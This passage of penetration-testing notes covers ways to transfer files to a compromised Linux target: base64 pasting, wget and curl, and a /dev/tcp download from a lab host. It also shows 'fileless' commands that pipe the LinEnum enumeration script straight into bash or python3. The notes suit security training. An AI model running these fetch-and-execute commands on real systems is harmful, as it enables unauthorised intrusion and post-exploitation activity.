3. Linux File Transfer

Base64 Encoding / Decoding

--check MD5 hash
$ md5sum $file
--encode with base64
cat $file | base64 -w 0;echo 

copy, and paste content onto target linux machine

echo -n 'base64_encoded_string_long_huge' | base64 -d > filename

confirm hashes match (seen in step1) You can also upload using the reverse steps.

wget and cURL

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

fileless attacks using linux

fileless download with curl

curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

same works with python binaries

wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3

Download with bash /dev/tcp

There may be situations where you don't have well-known file transfer binaries available. Bash 2.04 v or greater (compiled with --enable-net-redirections), built-in /dev/tcp file can be used for simple file downloads.

Connect to target webserver

exec 3<>/dev/tcp/10.10.10.32/80

HTTP Get request

echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3

Print response

cat <&3

![](/img/Pasted image 20240720204423.png|1000)

SSH Downloads

SH implementation comes with an SCP utility for remote file transfer that, by default, uses the SSH protocol.

$ scp file user@host:/path/to/file                        # copying a file to the remote system using scp command
$ scp user@host:/path/to/file /local/path/to/file         # copying a file from the remote system using scp command
$ scp file1 file2 user@host:/path/to/directory            # copying multiple files using scp command
$ scp -r /path/to/directory user@host:/path/to/directory  # Copying an entire directory with scp command
-r      # transfer directory 
-v      # see the transfer details
-C      # copy files with compression
-l 800  # limit bandwidth with 800
-p      # preserving the original attributes of the copied files
-P      # connection port
-q      # hidden the output

Web upload

As mentioned in the Windows File Transfer Methods section, we can use uploadserver, an extended module of the Python HTTP.Server module

sudo python3 -m pip install --user uploadserver

Create a Self-Signed Certificate

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

Generating a RSA private key
................................................................................+++++
.......+++++
writing new private key to 'server.pem'